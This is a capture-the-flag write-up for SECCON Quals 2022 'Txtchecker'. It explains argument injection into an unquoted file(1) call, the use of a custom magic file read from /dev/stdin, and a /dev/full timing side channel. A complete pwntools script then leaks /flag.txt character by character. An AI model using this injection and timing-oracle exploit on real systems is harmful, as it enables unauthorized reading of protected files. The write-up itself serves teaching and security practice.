SECCON Quals 2022 - Txtchecker

Last modification on

Challenge

I'm creating a text file checker. It still in the process of implementation...

Challenge Files | Solution Files

checker.sh
#!/bin/bash

read -p "Input a file path: " filepath
file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null

# TODO: print the result the above command.
#   $? == 0 -> It's a text file.
#   $? != 0 -> It's not a text file.
exit 0

Overview

The service consists of effectively 2 lines of bash script:

read -p "Input a file path: " filepath
file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null

Using read, a line of user input is read into the variable filepath, and used as argument to the command file. If the string "ASCII text" is found in the output, grep exits with status code 0, otherwise a non-zero status code is returned. Neither the filtered text nor the exit code of grep are output by the service (!).

The goal is to recover the contents of the flag file at /flag.txt.

Analysis

The first thing we notice is that the call to file is vulnerable to injection of an arbitrary number of arguments due to lack of quoting.

Additionally, in the file manpage we find:

    -m, --magic-file magicfiles
            Specify an alternate list of files and directories containing magic.  This can be a single item, or a
            colon-separated list.  If a compiled magic file is found alongside a file or directory, it will be used
            instead.
    
    -s, --special-files
            Normally, file only attempts to read and determine the type of argument files which stat(2) reports are
            ordinary files.  This prevents problems, because reading special files may have peculiar consequences.
            Specifying the -s option causes file to also read argument files which are block or character special
            files.  This is useful for determining the filesystem types of the data in raw disk partitions, which
            are block special files.  This option also causes file to disregard the file size as reported by
            stat(2) since on some systems it reports a zero size for raw disk partitions.

Using the -m flag, we can supply a custom magic file to evaluate the contents of the flag file. We can use -s and specify /dev/stdin as the filepath for -m such that the contents of the magic file are read through our existing connection to the service.

Let's take a look at a simple magic file to understand how it works.

#------------------------------------------------------------------------------
# $File: warc,v 1.4 2019/04/19 00:42:27 christos Exp $
# warc:  file(1) magic for WARC files

0	string	WARC/	WARC Archive
>5	string	x	version %.4s
!:mime application/warc

This magic file is for the warc file format. First, the string at offset 0 is compared to the string "WARC/". If correct, "WARC Archive" is output by file. Additionally, the next 4 characters after "WARC/" are interpreted as the version number and output as well.

With just a few tweaks we can make it output "SECCON FLAG" when the input is matched, and the default ascii text description "ASCII text" otherwise:

#------------------------------------------------------------------------------
# $File: warc,v 1.4 2019/04/19 00:42:27 christos Exp $
# warc:  file(1) magic for WARC files

0 string SECCON{ SECCON FLAG
!:mime application/warc

To determine wether the flag was matched or not we need to create an observable side-effect. If the flag matches our magic file, grep does not find "ASCII text", meaning it does not exit and continues to process data. If we can make file continue to output information and hang, we can differentiate whether the flag matched (connection closes immediately) or whether it didnt (connection hangs and is killed after 5s timeout).

We can supply /dev/full after /flag.txt in our injected commandline arguments for this purpose, but we must also modify the maximum amount of bytes file is willing to read from each file:

    -P, --parameter name=value
            Set various parameter limits.
    
                  Name         Default    Explanation
                  bytes        1048576    max number of bytes to read from file
                  elf_notes    256        max ELF notes processed
                  elf_phnum    2048       max ELF program sections processed
                  elf_shnum    32768      max ELF sections processed
                  encoding     65536      max number of bytes to scan for encoding evaluation
                  indir        50         recursion limit for indirect magic
                  name         50         use count limit for name/use magic
                  regex        8192       length limit for regex searches

Adding -n to our argument list will ensure the output is flushed immediately:

    -n, --no-buffer
            Force stdout to be flushed after checking each file.  This is only useful if checking a list of files.
            It is intended to be used by programs that want filetype output from a pipe.

The final command used to query the flag file is:

file -s -n -P bytes=99999999999 -m /dev/stdin /flag.txt
    /dev/full /dev/full /dev/full /dev/full /dev/full
    /dev/full /dev/full /dev/full /dev/full /dev/full

Exploit

To differentiate a short hang from a long one (especially when lots of players are using the service at the same time), we calculate a rolling average and use this to determine whether testing of a specific flag prefix was significantly slower (=> correct).

solve.py
from pwn import *
import time

cmd = f"sshpass -p ctf ssh -oStrictHostKeyChecking=no " \
    + f"-oCheckHostIP=no ctf@localhost -p 2022"

magic_file = """

#------------------------------------------------------------------------------
# $File: warc,v 1.4 2019/04/19 00:42:27 christos Exp $
# warc:  file(1) magic for WARC files

0 string {} SECCON FLAG
!:mime application/warc

"""

n = 0
avg = 5
def getchar(prefix=""):
    global n, avg

    alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[]^_`{|}~'
    for c in alph:
        attempt = prefix + c
        print(f">>> {attempt}")
        io = process(cmd.split(), stdin=PTY, raw=False)
        io.readuntil(b"Input a file path: ")
        io.sendline(b"-n -s -P bytes=99999999999 -m /dev/stdin /flag.txt /dev/full /dev/full /dev/full /dev/full /dev/full /dev/full /dev/full /dev/full")
        io.sendline(magic_file.format(attempt).encode())
        io.send(b"\4")
        start = time.time()
        print(io.readall())
        end = time.time()
        dur = end - start

        print("DUR", dur)
        print("AVG", avg)
        if end - start >= avg + 5:
            return c
        n += 1
        avg = ((n - 1) * avg + dur) / n
        io.close()
    return None

flag = "SECCON{"
while True:
    try:
        while c := getchar(prefix=flag):
            flag += c
            print(flag)
    except Exception as e:
        print("Exception, sleeping..")
        time.sleep(30)